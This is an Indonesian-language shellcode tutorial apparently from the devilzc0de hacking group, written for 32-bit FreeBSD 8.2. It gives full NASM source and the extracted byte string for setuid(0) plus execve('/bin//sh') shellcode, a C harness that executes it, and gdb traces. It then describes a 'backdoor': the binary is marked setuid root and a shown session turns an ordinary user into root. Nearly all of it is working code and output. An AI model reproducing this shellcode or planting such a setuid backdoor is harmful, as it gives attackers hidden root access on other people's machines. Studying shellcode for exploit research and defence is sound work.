Membuat  shellcode di Freebsd 8.2

by : devilzc0de.org - "Trojan horse Live and Die Under the Sun"

"mengakses register lebih cepat dari mengakses memori karena register ada
di cpu dan memori baru terhubung ke cpu melalui bus"

kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit
:
------------------------
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
[email protected]:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n#
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di
/usr/include/sys/syscall.h

-------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep setuid
#define SYS_setuid      23
-------------------

jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex

untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
ev1lut10n# cat /usr/include/unistd.h | grep setuid
int      setuid(uid_t);
---------------------------

terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan
pemasukanya selalu : eax, ebx, ecx, edx, esi

ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan
syscall exit:

sebelumnya kita liat dulu kebutuhan kita:
-----------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep exit
#define SYS_exit        1
#define SYS_thr_exit    431
ev1lut10n#
-----------------------
yang akan kita pakai adl yg ini:
#define SYS_exit        1

ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi
syscall exit:

keluar:
mov     eax,0x01
int     80h

------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17
int 80h

keluar:
push    byte 0x01
pop     eax
int     80h

-----------------


misal namanya setuid_exit.asm

ev1lut10n# nasm -f elf setuid_exit.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o


ev1lut10n# ./setuid_exit

gak ada segmentation fault berarti ok heh?

untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
ev1lut10n# objdump -d setuid_exit
setuid_exit:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080:       31 c0                   xor    %eax,%eax
8048082:       50                      push   %eax
8048083:       50                      push   %eax
8048084:       b8 17 00 00 00          mov    $0x17,%eax
8048089:       cd 80                   int    $0x80

0804808b <keluar>:
804808b:       6a 01                   push   $0x1
804808d:       58                      pop    %eax
804808e:       cd 80                   int    $0x80
ev1lut10n#
_________________

jika register eax diganti register ax, berdasarkan pengalaman masih ada
null string, jadi kita pake register 8 bit: al

mov    $0x17,%eax

menjadi:


mov    $0x17,%al


kompile:
ev1lut10n# nasm -f elf setuid_exit2.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o

ev1lut10n# objdump -d setuid_exit2

setuid_exit2:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080:       31 c0                   xor    %eax,%eax
8048082:       50                      push   %eax
8048083:       50                      push   %eax
8048084:       b0 17                   mov    $0x17,%al
8048086:       cd 80                   int    $0x80

08048088 <keluar>:
8048088:       6a 01                   push   $0x1
804808a:       58                      pop    %eax
804808b:       cd 80                   int    $0x80

dari hasil objdump shellcodenya adl:

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80


--------------------
/**freebsd setuid then exit shellcode made by: ev1lut10n**/
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
       fprintf(stdout,"Length: %d\n",strlen(shellcode));
       (*(void(*)()) shellcode)();

}
-------------------

misal namanya keluar.c:

ev1lut10n# gcc -o keluar keluar.c
ev1lut10n# ./keluar
Length: 13
ev1lut10n#

dieksekusi dg benar

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80
 1   2   3   4   5   6   7   8   9   10  11  12  13

ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid
execve /bin/sh


------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep execve
#define SYS_execve      59
#define SYS___mac_execve        415
#define SYS_fexecve     492
ev1lut10n#
-------------------

yang akan dipakai adalah yg: #define    SYS_execve      59

59 dalam hex: 3b

al kita isi dengan 3b

---------------
#include <unistd.h>

    int
    execve(const char *path, char *const argv[], char *const envp[]);


berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor    eax,eax; eax diset ke null
push   byte 0 ;sama dengan push eax
push   '//sh' ;alamat //sh disimpan ke stack
push   '/bin'
mov    ebx,esp
push   byte 0 ;sama dengan push eax
push   esp
push   ebx
push   byte 0
mov    al,0x3b ;syscall execve
int    80h
--------------------


jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)




setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor    eax,eax
push   byte 0
push   byte 0
mov    al,0x17
int    80h

xor    eax,eax
push   byte 0
push   '//sh'
push   '/bin'
mov    ebx,esp
push   byte 0
push   esp
push   ebx
push   byte 0
mov    al,0x3b
int    80h
--------------

untuk memahami kode di atas lalukan kompile dengan opsi -g:

----------
ev1lut10n# nasm -f elf suid.asm -g
ev1lut10n# ld -o suid suid.o
ev1lut10n# gdb -q suid
(gdb) l
1       ;copyleft by dom dom aka m0nk3y
2       global _start
3       section .text
4       _start:
5       xor    eax,eax
6       push   byte 0
7       push   byte 0
8       mov    al,0x17
9       int    80h
10
(gdb) l
11      xor    eax,eax
12      push   byte 0
13      push   '//sh'
14      push   '/bin'
15      mov    ebx,esp
16      push   byte 0
17      push   esp
18      push   ebx
19      push   byte 0
20      mov    al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid

Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xbfbfe9f0       -1077941776
esp            0xbfbfe9f0       0xbfbfe9f0
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x804809a        0x804809a
eflags         0x246    582
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x3b     59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:      "/bin//sh"
(gdb)

---------


sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:

13      push   '//sh'
14      push   '/bin'

selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15      mov    ebx,esp

(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:      "/bin//sh"
(gdb)

0xbfbfe9f0 adlaah alamat /bin/sh

mulai break di baris ke 16 sehingga ebx :
ebx            0xbfbfe9f0       -1077941776

(gdb) x/s -1077941776
0xbfbfe9f0:      "/bin//sh"
(gdb)


gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid

Breakpoint 1, 0x080480a2 in _start ()

ev1lut10n# nasm -f elf suid.asm
ev1lut10n# ld -o suid suid.o
ev1lut10n# chmod u+s suid
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
[email protected]:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n# su ev1lut10n
$ id
uid=1001(ev1lut10n) gid=1001(ev1lut10n) groups=1001(ev1lut10n)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(ev1lut10n) groups=1001(ev1lut10n)
#

(gdb) i r
eax            0x3b     59


karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al
dengan
0x3b maka eax=0x3b